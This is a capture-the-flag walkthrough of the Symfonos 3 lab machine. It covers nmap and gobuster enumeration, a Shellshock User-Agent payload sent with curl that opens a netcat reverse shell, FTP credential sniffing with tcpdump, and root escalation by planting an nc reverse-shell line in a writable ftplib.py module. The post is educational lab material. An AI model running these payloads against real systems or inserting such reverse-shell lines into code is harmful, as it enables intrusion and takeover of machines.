This is a walkthrough of Symfonos 3 which is 3rd machine in Symfonos series.

Nmap #

Let’s scan the network and start working on the machine right away. Using nmap -sV -sC -A -p- -T5 192.168.43.22 shows that we have FTP, SSH and HTTP.

HTTP Enumeration #

This was kind of time consuming since it involves lots of nested directory busting, I mostly use gobutser so with some bash scripting I automated the scan by updating the script with every finding. My strategy for that was to copy every dictionary/wordlists into a single directory and using the bash we used it to find the directories. I used dirbuster and dirb wordlists only.

#!/bin/sh
for i in $(pwd)/*.txt; do
    gobuster dir -u http://192.168.43.22 -w "$i" | grep Status: 
done

First, I found gate, then cerberus after that tartarus. After that I tried again with the script this time we got more than 4 hits:-

=============================================================== 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.43.22/gate/cerberus/tartarus/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/08/04 01:28:56 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/charon (Status: 301)
/hermes (Status: 301)
/research (Status: 200)
===============================================================

But somehow research was a rabbit hole, perhaps a wild goose chase for us. Then, I tried again with cgi-bin from previous findings. Now directory busting to the http://192.168.43.22/cgi-bin, I found a hit at underworld. PS: In case you don’t know about greek mythology, underworld is home of the god Hades.

#!/bin/sh
for i in $(pwd)/*.txt; do
    gobuster dir -u http://192.168.43.22/cgi-bin -w "$i" | grep Status: 
done

root@kali:/usr/share/wordlists/dirb# ./new.sh /.htaccess (Status: 403) /.htpasswd (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /.hta (Status: 403) /underworld (Status: 200)

Reverse Shell and FTP Network Sniffing #

From that page we can see that it’s saying uptime, I tried to enumerate more but somehow none worked. I switched to some research on similar machines to get information about this thinking that it might have been some kind of task of a machine. From that I found a machine from PentesterLab which has kind of vulnerability but after checking it I was confirmed that it was same. The vulnerability is named ShellShock. In this type of vulnerablity you have the pass the bash command as a User-Agent for that particular request. So, using the following command with the help of curl, we get a reverse shell on our host machine.

robin@oracle:~$ curl -A "() { :; }; /bin/bash -c 'nc 192.168.43.243 1337 -e /bin/sh'" http://192.168.43.22/cgi-bin/underworld

Once, we get reverse shell I found out we have privilge of cerberus, so from some basc enumeration I didn’t found anything so I thought of using the pspy script which is useful for tracing the background proccesses. Using pspy after using wget to grab it from server I found out there is a ftp server is running in the background. I thought of checking the directory too but permission denied. Now, I started grabbing the network dump using tcpdump since it ws available for usage, using tcpdump -w ftplog.pcap -i lo, the FTP server was runiing on the lo interface because the other one has our reverse shell connected to using shellshock. SInce, I first grabbed the en0ps17 but I saw that our curl is making request to server.

Warning: Let the tcpdump run for 5-10 minutes so you can grab enough data to analyse.

I saved the file in /tmp folder and started a HTTP server using python python -m SimpleHTTPServer 1234 and grabbed the ftplog.pcap right away from http://192.168.43.22:1234.

After opening it in wireshark and filtering out the packets for FTP only with tcp.port == 21, I got some packets with FTP service and following TCP Stream of that packet I found the user hades password.

Root #

Once you SSH into the system as user hades with the above password you’ll find out that we have the same thing as user cerberus. So, the last option was to run the pspy again, doing that so I found that we have nothing more nothing less than previous scan. I started trying again in ftpclient, this time we can access the folder which has a python script which is running the server by the root itself. So, there is more to see than meets the eye.

After analysing the script I found that script is using a module named ftplib.py in /opt/ftpclient which is running as root, as from my previous experience I thought that we need to edit the module file itself to get root privilges or anything to get moving. I checked permission and it turns out we can edit it since the user hades ia belong to group gods.

Now, I added a line os.system("nc 192.168.43.243 4444 -e /bin/bash) in the file so that once the script will be run our reverse shell gets executed giving a root shell. So, once done I started my listener and start analysing the process again, once that script runs we have the shell as root. Hence, the flag.

Thanks to @zayotic for making this wonderful machine.